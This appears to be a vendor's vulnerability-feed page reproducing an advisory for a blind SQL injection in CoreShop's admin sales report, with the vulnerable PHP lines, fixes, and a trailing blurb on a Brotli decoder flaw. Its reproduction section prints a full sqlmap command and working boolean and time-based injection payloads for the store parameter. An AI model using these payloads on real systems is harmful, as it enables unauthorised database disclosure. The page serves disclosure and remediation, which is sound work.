New MCP server — Bring vulnerability intelligence into your AI
Back to feed

CVE-2026-22242

ExploitedNVDCIRCLENISA

EUVD-2026-1677 · Published Jan 7, 2026

CoreShop Vulnerable to SQL Injection via Admin Reports

Affected Version(s)
  • CoreShop 4.1.2 Demo (tested) Demo | CoreShop
  • Earlier versions may also be affected if the same code path exists
Summary

A blind SQL injection vulnerability exists in the application that allows an authenticated administrator-level user to extract database contents using boolean-based or time-based techniques.
The database account used by the application is read-only and non-DBA, limiting impact to confidential data disclosure only. No data modification or service disruption is possible.

Details

The vulnerability occurs due to unsanitized user input being concatenated into a SQL query without proper parameterization.

An attacker with administrative access can manipulate the affected parameter to influence the backend SQL query logic. Although no direct query output is returned, boolean and time-based inference techniques allow an attacker to extract data from the database.

Impact

Vulnerability Type: Blind SQL Injection

Impact: Confidentiality only

An attacker can:

  • Enumerate database schema
  • Extract all data accessible to the application’s database user

CVSS v3.1 (Base Score: 4.9 – Medium)

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Steps to Reproduce:

<img width="1010" height="372" alt="1" src="https://github.com/user-attachments/assets/312422c8-f3ea-4332-8c14-59aed737da6a" />

  1. Send a Normal Request:
    • Request the report endpoint with a valid store value (e.g. store=1) and observe that data is returned.

<img width="1259" height="725" alt="2" src="https://github.com/user-attachments/assets/56f91c23-bae5-4edf-9c17-c776c323b3a8" />

  1. Inject a Boolean TRUE Condition:
    • Modify the parameter to store=1 AND 1=1.
    • The response returns the same data as the normal request.

<img width="1269" height="725" alt="3" src="https://github.com/user-attachments/assets/c998065a-dc59-4fe5-8be9-d5ea82736ade" />

  1. Inject a Boolean FALSE Condition:
    • Modify the parameter to store=1 AND 2=1.
    • The response returns an empty dataset.

<img width="1259" height="536" alt="4" src="https://github.com/user-attachments/assets/3be68566-f1f3-4a61-81d7-4f8b0b318bf7" />

  1. Confirm Injection Behavior:

    • The difference between TRUE and FALSE conditions confirms that the store parameter directly affects SQL query logic, indicating a boolean-based blind SQL injection.
  2. Automated Confirmation Using sqlmap:

    • The vulnerable request was tested using sqlmap with the store parameter.
    • sqlmap successfully confirmed the parameter as boolean-based and time-based blind SQL injectable.
    • The tool was able to fingerprint the backend environment, including:
      • Database Management System (DBMS)
      • Database hostname
      • PHP version
      • Available database names
    • This confirms that the injection is exploitable beyond simple logic manipulation and allows database-level information disclosure.

<img width="1115" height="628" alt="5" src="https://github.com/user-attachments/assets/5370f6d1-9915-4bea-ae83-b7a977b8eeff" />

C:\sqlmap>python sqlmap.py -r test.txt --random-agent --batch --force-ssl --ignore-code=403,404 --no-cast --tamper=between,randomcase,space2comment --proxy http://127.0.0.1:8080 -p store
---
Parameter: store (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: report=products&_dc=1767718087622&from=1767200400&to=1798650000&store=1 AND 3500=3500&objectType=all&orderState=[]&page=1&start=0&limit=50

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: report=products&_dc=1767718087622&from=1767200400&to=1798650000&store=1 AND (SELECT 6265 FROM (SELECT(SLEEP(5)))KORX)&objectType=all&orderState=[]&page=1&start=0&limit=50
---
web application technology: PHP 8.3.16
back-end DBMS: MySQL >= 5.0.12
hostname: 'coreshop4-demo-php-6c6b7c446f-9qd8w'
available databases [3]:
[*] app
[*] information_schema
[*] performance_schema
Solution

To mitigate the SQL injection risk, user input should not be directly concatenated into SQL queries. The store parameter is expected to represent a numeric store identifier and should therefore be handled safely.

Two possible remediation approaches are recommended:

  1. Strict Type Enforcement (Minimal Fix)

    If the store parameter is intended to be numeric only, enforce integer casting when retrieving the value (e.g. (int) $storeId). This prevents injection by ensuring that only numeric values are used in the query.

  2. Prepared Statements (Best Practice)

    Alternatively, and preferably, the store parameter should be passed using parameter binding, consistent with the handling of other query values in this method. Using prepared statements fully prevents SQL injection and aligns with Doctrine DBAL best practices.

Applying either approach would prevent attackers from injecting SQL logic through the store parameter.

Parameter
  1. /admin/coreshop/report/get-data?report=products&_dc=1767720897882&from=1767200400&to=1798650000&store=1&objectType=all&orderState=%5B%5D&page=1&start=0&limit=50
Line of Code

CoreShop/src/CoreShop/Bundle/CoreBundle/Report/SalesReport.php

Line 64 :

$storeId =$parameterBag->get('store',null);

The store parameter is retrieved directly from the HTTP request via ParameterBag. This value originates from user-controlled input and is not validated or type-cast at this point.

Line 77 :

if (null ===$storeId) {
return [];
}

This check ensures the parameter is present, but does not enforce type safety or restrict the value to an expected format (e.g., integer).

Line 81 :

$store =$this->storeRepository->find($storeId);

The user-supplied value is used to query the repository. While this lookup may fail for invalid values, it does not prevent the same value from later being used in a raw SQL context.

Line 107 :

WHERE orders.store =$storeId
  AND orders.orderState ='$orderCompleteState'
  AND orders.orderDate > ?
  AND orders.orderDate < ?
  AND saleState='" . OrderSaleStates::STATE_ORDER . "'

At this point, the $storeId value is directly concatenated into the SQL query string. Unlike other parameters in the query (orderDate), this value is not bound as a prepared statement parameter.

Example Fixed Code
Option 1: Strict Type Enforcement (Minimal Fix)

If the store parameter is intended to be numeric only, enforce integer casting before using it in the query.

$storeId = (int)$parameterBag->get('store',0);

if ($storeId <=0) {
return [];
}

$sqlQuery = "
    SELECT DATE(FROM_UNIXTIME(orderDate)) AS dayDate, orderDate, SUM(totalGross) AS total
    FROM object_query_$classId AS orders
    WHERE orders.store =$storeId
      AND orders.orderState = '$orderCompleteState'
      AND orders.orderDate > ?
      AND orders.orderDate < ?
      AND saleState = '" .OrderSaleStates::STATE_ORDER . "'
    GROUP BY " .$groupSelector;

This ensures that only numeric values are used and prevents SQL logic injection.

Option 2: Prepared Statements (Recommended Fix)

Use parameter binding for all user-influenced values, including store.

$sqlQuery = "
    SELECT DATE(FROM_UNIXTIME(orderDate)) AS dayDate, orderDate, SUM(totalGross) AS total
    FROM object_query_$classId AS orders
    WHERE orders.store = ?
      AND orders.orderState = ?
      AND orders.orderDate > ?
      AND orders.orderDate < ?
      AND saleState = ?
    GROUP BY " .$groupSelector;

$results =$this->db->fetchAllAssociative(
$sqlQuery,
    [
        (int)$storeId,
$orderCompleteState,
$from->getTimestamp(),
$to->getTimestamp(),
OrderSaleStates::STATE_ORDER,
    ]
);

This approach fully eliminates SQL injection risks and aligns with Doctrine DBAL best practices.

Technologies

Coreshop CoreshopCoreshop Core-Shop

Weaknesses

CWE-564CWE-89

CVSS scores

  • v3.14.9CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

MITRE ATT&CK

Inferred

Where this vulnerability fits in an attack

Initial Access

References

Potentially impacted assets

See if this affects your attack surface

Latest trending attack

Criticalyesterday

Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)

This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it. Why a second control CVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli ("br") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution. Any server that decompresses request bodies sent with "Content-Encoding: br" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library. The flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support. What this control checks Patrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service. How to read the result Potentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside. This check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification. Affected and fixed versions Google Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution. Recommendations Update every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library. Reduce the exposure until the update is deployed. Reject requests with "Content-Encoding: br" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as "gzip, br". On Envoy and Istio, disable request decompression for Brotli. Review outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.

Take 15 minutes to discover our platform with our experts

Patrowl Intel platform screenshot